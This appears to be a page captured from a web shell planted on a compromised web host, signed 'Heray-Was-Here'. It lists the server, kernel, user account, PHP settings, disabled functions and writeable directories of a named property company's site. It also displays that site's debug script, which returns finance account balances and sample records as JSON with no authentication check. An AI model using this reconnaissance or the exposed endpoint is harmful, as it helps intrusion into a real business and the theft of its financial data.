Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/_debug_cash_balance.php
<?php
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/functions.php';

$companyId = function_exists('getCurrentCompanyId') ? getCurrentCompanyId() : ($_SESSION['company_id'] ?? null);
$out = [];
$out['company_id'] = $companyId;
$out['has_finance_accounts'] = false;
$out['rows_total'] = 0;
$out['rows_in_scope'] = 0;
$out['sum_balance_all'] = 0.0;
$out['sum_balance_in_scope'] = 0.0;
$out['sample'] = [];

try {
    $out['has_finance_accounts'] = $pdo->query("SHOW TABLES LIKE 'finance_accounts'")->rowCount() > 0;
    if ($out['has_finance_accounts']) {
        $out['rows_total'] = (int)$pdo->query("SELECT COUNT(*) FROM finance_accounts")->fetchColumn();
        $out['sum_balance_all'] = (float)$pdo->query("SELECT COALESCE(SUM(balance),0) FROM finance_accounts")->fetchColumn();
        $hasCompany = function_exists('tableHasColumn') && tableHasColumn('finance_accounts','company_id');
        if ($companyId && $hasCompany) {
            $st = $pdo->prepare("SELECT COUNT(*) FROM finance_accounts WHERE company_id = ? OR company_id IS NULL");
            $st->execute([(int)$companyId]);
            $out['rows_in_scope'] = (int)$st->fetchColumn();
            $st = $pdo->prepare("SELECT COALESCE(SUM(balance),0) FROM finance_accounts WHERE company_id = ? OR company_id IS NULL");
            $st->execute([(int)$companyId]);
            $out['sum_balance_in_scope'] = (float)$st->fetchColumn();
        } else {
            $out['rows_in_scope'] = $out['rows_total'];
            $out['sum_balance_in_scope'] = $out['sum_balance_all'];
        }
        $nameCol = (function_exists('tableHasColumn') && tableHasColumn('finance_accounts','account_name')) ? 'account_name' : ((function_exists('tableHasColumn') && tableHasColumn('finance_accounts','name')) ? 'name' : null);
        $sel = "SELECT id, balance";
        if ($nameCol) { $sel .= ", $nameCol AS name"; }
        if ($hasCompany) { $sel .= ", company_id"; }
        $sel .= " FROM finance_accounts ORDER BY id DESC LIMIT 10";
        $out['sample'] = $pdo->query($sel)->fetchAll(PDO::FETCH_ASSOC) ?: [];
    }
} catch (Throwable $e) {
    $out['error'] = $e->getMessage();
}

header('Content-Type: application/json');
echo json_encode($out, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES);


Hry